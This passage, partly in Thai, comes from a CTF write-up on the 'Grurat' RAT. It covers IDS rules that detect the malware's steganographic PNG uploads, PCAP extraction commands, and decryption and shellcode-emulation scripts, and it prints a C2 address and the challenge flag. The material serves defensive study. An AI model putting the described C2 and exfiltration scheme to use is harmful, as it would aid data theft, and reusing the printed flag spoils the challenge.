classtype:trojan-activity;
sid:1000001;
rev:1;
)
alert http any any -> any any (
msg:"Grurat PNG Upload with stEg chunk";
content:"POST"; http_method;
content:"update.php"; http_uri;
content:"|89 50 4E 47|"; http_client_body;
content:"stEg"; http_client_body;
classtype:trojan-activity;
sid:1000002;
rev:1;
)Network Level:
Host Level:
SOC Playbook:
Reverse Engineering:
Network Analysis:
Cryptography:
Steganography:
Programming:
Static Analysis:
Malware Binary → Decompile → Source Code → Understand LogicDynamic Analysis:
PCAP File → Parse Packets → Extract Artifacts → Decrypt DataAutomation:
Manual Analysis → Identify Patterns → Write Script → Extract All FlagsFor Blue Team (Defense):
For Red Team (Offense):
For Threat Intelligence:
❌ ไม่ reassemble TCP streams → จะได้ PNG ไม่ครบ, ถอดรหัสไม่สำเร็จ
❌ ลืมตรวจสอบ compression (zlib) → Shellcode decode ผิด, หา key ไม่เจอ
❌ ใช้ key ผิด → ต้องลองทุก key ที่หาเจอ (deenFF, dlocFF, etc.)
❌ มองแค่ packet เดียว → ต้องดูทั้ง conversation (bidirectional communication)
❌ ไม่เข้าใจ encoding layers → Mahjong → Base64 → XOR ต้องถอดตามลำดับ
| Tool | Purpose | Command |
|---|---|---|
| PyLingual | Decompile .pyc | Web-based upload |
| Scapy | PCAP analysis | rdpcap('file.pcap') |
| Wireshark | Manual inspection | GUI analysis |
| Python struct | Binary parsing | struct.pack/unpack |
| zlib | Compression | zlib.decompress() |
| base64 | Encoding | base64.b64decode() |
Method 1: Wireshark Manual Analysis
1. Open grurat.pcap in Wireshark
2. Filter: tcp.port == 9000
3. Follow → TCP Stream
4. Copy as Hex Dump
5. Parse manually with CyberChef or custom scriptMethod 2: tshark Command Line
# Extract HTTP objects
tshark -r grurat.pcap --export-objects http,output/
# Filter specific protocols
tshark -r grurat.pcap -Y "tcp.port == 9000" -T fields -e data
# Extract PNG files
tshark -r grurat.pcap -Y "http.content_type contains image" -T fields -e http.file_dataMethod 3: NetworkMiner
1. Open PCAP in NetworkMiner
2. Go to "Files" tab
3. Extract all images automatically
4. Analyze downloaded/uploaded PNGsถ้า malware ใช้ encryption อื่น:
AES Encryption:
from Crypto.Cipher import AES
def decrypt_aes(ciphertext, key, iv):
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext)
return plaintextRC4 Encryption:
from Crypto.Cipher import ARC4
def decrypt_rc4(ciphertext, key):
cipher = ARC4.new(key)
plaintext = cipher.decrypt(ciphertext)
return plaintextCustom XOR with IV:
def xor_decrypt_iv(ciphertext, key, iv):
# XOR with IV first
temp = bytes([c ^ iv[i % len(iv)] for i, c in enumerate(ciphertext)])
# Then XOR with key
plaintext = bytes([t ^ key[i % len(key)] for i, t in enumerate(temp)])
return plaintextUsing Emulation:
from unicorn import *
from unicorn.x86_const import *
def emulate_shellcode(shellcode):
# Initialize emulator
mu = Uc(UC_ARCH_X86, UC_MODE_64)
# Map memory
mu.mem_map(0x1000, 0x1000)
mu.mem_write(0x1000, shellcode)
# Set registers
mu.reg_write(UC_X86_REG_RSP, 0x1000 + 0x800)
# Emulate
mu.emu_start(0x1000, 0x1000 + len(shellcode))Using Disassembler:
from capstone import *
def disassemble_shellcode(shellcode):
md = Cs(CS_ARCH_X86, CS_MODE_64)
for i in md.disasm(shellcode, 0x1000):
print(f"0x{i.address:x}:\t{i.mnemonic}\t{i.op_str}")สร้าง script ที่หา flag อัตโนมัติทั้งหมด:
import re
def extract_all_flags(pcap_file):
"""Extract ทุก flag จาก PCAP แบบ one-shot"""
# Step 1: Parse PCAP
packets = rdpcap(pcap_file)
streams = reassemble_tcp_streams(packets)
# Step 2: Extract all PNGs
all_pngs = []
for stream_data in streams.values():
pngs = extract_pngs_from_stream(bytes(stream_data))
all_pngs.extend(pngs)
# Step 3: Classify PNGs
shellcode_pngs = []
encrypted_pngs = []
for png in all_pngs:
payload = extract_steg_chunk(png)
if payload:
try:
decoded = mahjong_decode(payload)
if decoded.startswith(b'Z'):
decoded = zlib.decompress(decoded[1:])
# Check if it's shellcode (has x86 opcodes)
if is_shellcode(decoded):
shellcode_pngs.append(decoded)
else:
encrypted_pngs.append(payload)
except:
encrypted_pngs.append(payload)
# Step 4: Extract all keys
all_keys = set()
for shellcode in shellcode_pngs:
key = find_key_in_shellcode(shellcode)
if key:
all_keys.add(key)
# Step 5: Try decrypt all encrypted PNGs
flags = []
for encrypted in encrypted_pngs:
for key in all_keys:
try:
plaintext = decrypt_exfiltrated_data(encrypted, key)
if 'flag{' in plaintext:
flags.append({'key': key, 'flag': plaintext})
break
except:
continue
return flags
def is_shellcode(data):
"""Check if data looks like x86-64 shellcode"""
# Common shellcode patterns
patterns = [
b'\x48\x8b', # mov rax, [...]
b'\x48\xb8', # mov rax, imm64
b'\xff\xd7', # call rdi
b'\x48\x89', # mov [...], rax
b'\xe8', # call rel32
]
return any(p in data[:50] for p in patterns)1. Decompile Malware
# Upload client_random_update.pyc to PyLingual
# Download decompiled source code2. Analyze Source Code
# Identify:
# - C2 server: 34.124.239.18:9000
# - Custom protocol: MSG_TEXT, MSG_COMMAND, etc.
# - Steganography: stEg chunk, Mahjong encoding
# - Encryption: XOR → Base64 → Mahjong3. Parse PCAP
python c2_parser.py grurat.pcap4. Results
Keys found:
- deenFF (fake flag)
- dlocFF (fake flag)
- loocFF (fake flag)
- mrawFF (fake flag)
- niarRF (real flag) ✓
Decrypted flag:
flag{DESKTOP-P477C8C_10.0.19045}
CTF Flag:
forensic{DESKTOP-P477C8C_10.0.19045}00:00 Started challenge
00:15 Decompiled malware successfully
00:45 Understood C2 protocol and encryption
01:30 Wrote initial PCAP parser
02:15 Debugged TCP reassembly issues
02:45 Successfully extracted PNGs
03:15 Found key extraction pattern
03:45 Decrypted flag successfully
04:00 Submitted flag ✓| Aspect | Difficulty | Notes |
|---|---|---|
| Decompiling | ⭐⭐ | Easy with PyLingual |
| Understanding Code | ⭐⭐⭐ | Need to read through large codebase |
| Protocol Parsing | ⭐⭐⭐⭐ | Custom binary protocol |
| TCP Reassembly | ⭐⭐⭐⭐ | Fragmentation issues |
| Shellcode Analysis | ⭐⭐⭐⭐ | String extraction tricky |
| Decryption | ⭐⭐⭐ | Multiple layers but logical |
| Overall | ⭐⭐⭐⭐ | Medium-Hard |
Problem: PNG extraction fails
# Add debug output
png_start = stream_data.find(PNG_SIG, pos)
print(f"Found PNG at offset: {png_start}")
print(f"Stream size: {len(stream_data)}")
print(f"First 20 bytes: {stream_data[:20].hex()}")Problem: Mahjong decode error
# Check for invalid tiles
for i, ch in enumerate(mahjong_str):
if ch not in MJ_ALPHABET:
print(f"Invalid tile at position {i}: {ch} (U+{ord(ch):04X})")Problem: XOR decrypt produces garbage
# Try all keys
for key in all_keys:
result = xor_decrypt(data, key)
print(f"Key {key}: {result[:50]}")
# Look for 'flag{' patternLazy Loading:
# Don't load entire PCAP into memory
def parse_pcap_streaming(pcap_file):
with PcapReader(pcap_file) as pcap:
for pkt in pcap:
process_packet(pkt) # Process one at a timeParallel Processing:
from multiprocessing import Pool
def decrypt_parallel(encrypted_pngs, keys):
with Pool(processes=4) as pool:
args = [(png, key) for png in encrypted_pngs for key in keys]
results = pool.starmap(try_decrypt, args)
return [r for r in results if r]Caching:
from functools import lru_cache
@lru_cache(maxsize=128)
def mahjong_decode_cached(mahjong_str):
return mahjong_decode(mahjong_str)Approach 1: Wireshark + Manual Extraction
Approach 2: CyberChef Pipeline
Approach 3: Full Automation (Our Approach)
❌ Endianness Issues
# Wrong: little-endian
length = struct.unpack('<I', data[0:4])[0]
# Correct: big-endian (network byte order)
length = struct.unpack('>I', data[0:4])[0]❌ String Encoding
# Wrong: might crash on invalid UTF-8
text = data.decode('utf-8')
# Correct: handle errors gracefully
text = data.decode('utf-8', errors='ignore')❌ Off-by-One Errors
# Wrong: misses last chunk
while i + 12 < len(data):
# Correct: includes last chunk
while i + 12 <= len(data):Educational Value:
Technical Depth:
Problem Solving:
Technical Skills:
Analytical Skills:
Security Skills:
Practice More CTFs:
Learn More Tools:
Deepen Knowledge:
Build Projects:
Books:
Websites:
Communities:
forensic{DESKTOP-P477C8C_10.0.19045}ใน challenge นี้เราได้:
หวังว่า write-up นี้จะช่วยให้เข้าใจ malware analysis และ PCAP forensics มากขึ้น ถ้ามีคำถามหรือข้อสงสัยสามารถถามได้เลยครับ!
Happy Hacking! 🚀🔐
Author: [Your Name]
Date: November 2024
Challenge: Grurat - Forensics/Malware Analysis
Difficulty: Medium-Hard ⭐⭐⭐⭐
Time Spent: ~4 hours
Tags: #ctf #forensics #malware #pcap #steganography #python #c2analysis